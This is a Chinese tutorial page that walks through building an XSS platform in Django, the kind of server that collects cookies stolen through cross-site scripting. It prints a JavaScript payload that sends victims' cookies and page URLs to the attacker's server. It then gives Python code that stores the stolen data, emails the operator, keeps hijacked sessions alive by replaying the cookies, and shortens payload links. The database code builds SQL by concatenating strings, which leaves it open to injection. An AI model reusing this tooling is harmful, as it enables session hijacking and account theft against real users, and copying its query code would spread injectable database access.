当前位置: 首页 > 编程笔记 >

使用Django简单编写一个XSS平台的方法步骤

孟翰藻
2023-03-14
本文向大家介绍使用Django简单编写一个XSS平台的方法步骤,包括了使用Django简单编写一个XSS平台的方法步骤的使用技巧和注意事项,需要的朋友参考一下

1) 简要描述

原理十分简单2333,代码呆萌,大牛勿喷 >_<

2) 基础知识

  • XSS攻击基本原理和利用方法
  • Django框架的使用

3) Let's start

0x01

工欲善其事必先利其器,首先我们需要准备编写代码的各种工具和环境,这里不细说。我这里的环境和工具如下:

  • python 3.7.0
  • pycharm
  • windows 10
  • mysql 8.0.15
  • Django 2.1.3

需要用到的第三方库:

  • django
  • pymysql
  • requests

0x02

我们先看一下XSS脚本是如何工作的

var website = "http://127.0.0.1"; (function() { (new Image()).src = website + '/?keepsession=1&location=' + escape((function() {
    try {
      return document.location.href
    } catch(e) {
      return ''
    }
  })()) + '&toplocation=' + escape((function() {
    try {
      return top.location.href
    } catch(e) {
      return ''
    }
  })()) + '&cookie=' + escape((function() {
    try {
      return document.cookie
    } catch(e) {
      return ''
    }
  })()) + '&opener=' + escape((function() {
    try {
      return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
    } catch(e) {
      return ''
    }
  })());
})();

这段代码非常简单,就是通过javascript获取有用信息,然后通过访问xss平台将信息作为GET参数传给服务器。

注意:这里使用AJAX可能会出现CORS跨域问题。

0x03

先给出关键代码,其他都是Django相关的内容,这里不做相关讨论。

"""
根据url值动态返回相应的javascript代码
"""
import pymysql,os
from user.safeio import re_check

def get_info(url):
  if not re_check(url,'num_letter'):
    return 'default'
  db = pymysql.connect('localhost','root','root','xss')
  cursor = db.cursor()
  cursor.execute("Select name From projects Where url='"+url+"'")
  js_name = cursor.fetchone()[0]
  if js_name == None:
    return 'default'
  else:
    return (js_name)

def get_js_value(url):
  js_name = get_info(url)
  file = '\\script\\'+js_name + '.js'
  js_value = open(os.getcwd()+file).read()
  js_value = js_value.replace('<-1234->',url)
  return js_value
import pymysql,time
from .getscript import get_info

def connect():
  try:
    db = pymysql.connect('localhost', 'root', 'root', 'xss')
    cursor = db.cursor()
    return db,cursor
  except:
    print('连接数据库失败,正在尝试重新连接')
    connect()

def put_letter(requests,url):
  now_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))[2:]
  if 'HTTP_X_FORWARDED_FOR' in requests.META:
    ip = requests.META['HTTP_X_FORWARDED_FOR']
  else:
    try:
      ip = requests.META['REMOTE_ADDR']
    except:
      ip = '0.0.0.0'
  ip = ip.replace("'","\'")
  origin = requests.GET.get('location','Unknown').replace("'","\'")
  software = requests.META.get('HTTP_USER_AGENT','Unknown').replace("'","\'")
  method = requests.method.replace("'","\'")
  data = requests.GET.get('cookie','No data').replace("'","\'")
  keep_alive = requests.GET.get('keepsession','0').replace("'","\'")
  list = [now_time,ip,origin,software,method,data,keep_alive]
  put_mysql(list,url)

def put_mysql(list,url):
  db,cursor = connect()
  name = get_info(url)
  cursor.execute("Select user From projects Where url='"+url+"'")
  user = cursor.fetchone()[0]
  m_query = "INSERT INTO letters(time,name,ip,origin,software,method,data,user,keep_alive) VALUES('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}')"
  m_query = m_query.format(list[0],name,list[1],list[2],list[3],list[4],list[5],user,list[6])
  cursor.execute(m_query)
  db.commit()
  db.close()

def get_letters(username):
  db, cursor = connect()
  m_query = "SELECT * FROM letters WHERE user = '{}'"
  m_query = m_query.format(username)
  cursor.execute(m_query)
  result_list = cursor.fetchall()
  return result_list

既然我们知道了xss脚本会将信息构造通过GET的参数形式传给XSS平台,我们只需在服务器接受数据并保存即可。

0x04

我们可以为我们的平台编写新的功能以完善我们的平台,如邮件提醒,cookie活性保持等

#coding=utf-8

'''
邮件发送
'''

import smtplib
from email.mime.text import MIMEText
from email.utils import formataddr

my_sender='xxxx'
my_pass = 'xxxx'

def send_mail(user_mail):
  try:
    print(user_mail)
    msg=MIMEText('您点的外卖已送达,请登录平台查询','plain','utf-8')
    msg['From']=formataddr(["XSS平台",my_sender])
    msg['To']=formataddr(["顾客",user_mail])
    msg['Subject']="您点的外卖已送达,请登录平台查询"
    server=smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(my_sender, my_pass)
    server.sendmail(my_sender,[user_mail,],msg.as_string())
    server.quit()
  except Exception:
    pass
'''

使用独立于主线程的其他线程


来保持通用项目的cookie信息'活性'


默认保持一个小时的活性
'''

import requests,queue,time,pymysql

Cookie_Time = 1

def decrease(time,number):
  if time < number:
    time = '0'+str(time)
  else:
    time = str(time)
  return time

def count_time(now_time):
  global Cookie_Time
  year = int(now_time[0:2])
  month = int(now_time[3:5])
  day = int(now_time[6:8])
  hours = int(now_time[9:11])
  if hours < Cookie_Time:
    if day == 1:
      if month == 1:
        month=12
        year -= 1
      else:
        day=30
        month -= 1
    else:
      day -= 1
      hours += 19
  else:
    hours -= 5
  hours = decrease(hours,10)
  day = decrease(day,10)
  month = decrease(month,10)
  year = decrease(year,10)
  dec_time = ("{0}-{1}-{2} {3}").format(year,month,day,hours) + now_time[11:]
  return dec_time

def create_queue():
  Cookie_queue = queue.Queue()
  now_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))[2:]
  dec_time = count_time(now_time)
  m_query = ("SELECT software,origin,data FROM letters WHERE name='default' and time>'{}' and keep_alive = '1'").format(dec_time)
  db = pymysql.connect('127.0.0.1','root','root','xss')
  cursor = db.cursor()
  cursor.execute(m_query)
  return_list = cursor.fetchall()
  for x in return_list:
    Cookie_queue.put(x)
  return Cookie_queue

def action():
  while True:
    time.sleep(60)
    task_queue = create_queue()
    while not task_queue.empty():
      tasks = task_queue.get()
      url = tasks[1]
      ua = tasks[0]
      cookie = tasks[2]
      headers = {'User-Agent': ua, 'Cookie': cookie}
      try:
        requests.get(url, headers=headers)
      except:
        pass

注意这里需要使用独立于django主线程的子线程,比如我在manager.py里添加了这么一段代码:

import threading
from xssplatform.keep_alive import action

class keep_Thread(threading.Thread):
  def __init__(self):
    super(keep_Thread,self).__init__()
  def run(self):
    action()

if __name__ == '__main__':
  th = keep_Thread()
  th.start()

短链接:

'''
短链接生成
接口c7.gg
'''

import requests,json

Headers = {
  "accept" : "application/json, text/javascript, */*; q=0.01",
  "accept-encoding" : "gzip, deflate, br",
  "accept-language" : "zh-CN,zh;q=0.9,en;q=0.8",
  "content-length" : "53",
  "content-type" : "application/x-www-form-urlencoded; charset=UTF-8",
  "origin" : "https://www.985.so",
  "referer" : "https://www.985.so/",
  "user-agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36",
}

def url_to_short(url):
  global Headers
  data = {'type':'c7','url':url}
  r = requests.post('https://create.ft12.com/done.php?m=index&a=urlCreate',data=data,headers=Headers)
  list = json.loads(r.text)
  return list['list']

4) 最后

其实看起来高大上的XSS平台原理就那么简单,真正难的部分是关于XSS跨站脚本的编写。

此项目已开源于 Github ,有任何问题可以提交issue,我会在第一时间进行回复。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持小牛知识库。

 类似资料:
  • 如何写一个简单的公平锁模拟新的? 自定义不公平锁(我不确定它是否正确)

  • 问题内容: 我正在寻找一个简单的功能,可以从instagram评论中删除表情符号字符。我现在已经尝试过的内容(带有在SO和其他网站上找到的示例中的许多代码): 任何帮助,将不胜感激 问题答案: 我认为preg_replace函数是最简单的解决方案。 正如EaterOfCode所建议的那样,由于没有SO(或其他网站)答案似乎适用于Instagram照片标题(API返回格式),因此我阅读了Wiki页并

  • This section is intended as a walkthrough for the creation of custom extensions. It covers the basics of writing and activating an extensions, as well as commonly used features of extensions. As an ex

  • 问题内容: 我有一个Django网站,并且一个页面上有一个按钮(或链接),单击该按钮将启动一个运行时间较长的任务。显然,我想将此任务作为后台任务启动,并立即将结果返回给用户。我想使用一种简单的方法来实现此目的,该方法不需要我安装和学习例如Celery这样的全新消息传递体系结构。我不想用celery!我只想使用一种简单的方法,就可以在接下来的半小时左右的时间内进行设置并开始运行。在Django中没有

  • 本文向大家介绍用Python编写一个简单的俄罗斯方块游戏的教程,包括了用Python编写一个简单的俄罗斯方块游戏的教程的使用技巧和注意事项,需要的朋友参考一下 俄罗斯方块游戏,使用Python实现,总共有350+行代码,实现了俄罗斯方块游戏的基本功能,同时会记录所花费时间,消去的总行数,所得的总分,还包括一个排行榜,可以查看最高记录。 排行榜中包含一系列的统计功能,如单位时间消去的行数,单位时间得

  • ASP 应用程序可在运行 Windows NT 4.0 或 Windows 95 及其更新版本的操作系统的计算机上运行。另外,可在 Macintosh 上运行 streamline 版本的 ASP。因为在 Windows 95 和 Macintosh 上的 Personal Web Server 是为个人发布设计的,所以在对 ASP 应用的支持方面有些不同。您可以在 Windows NT Work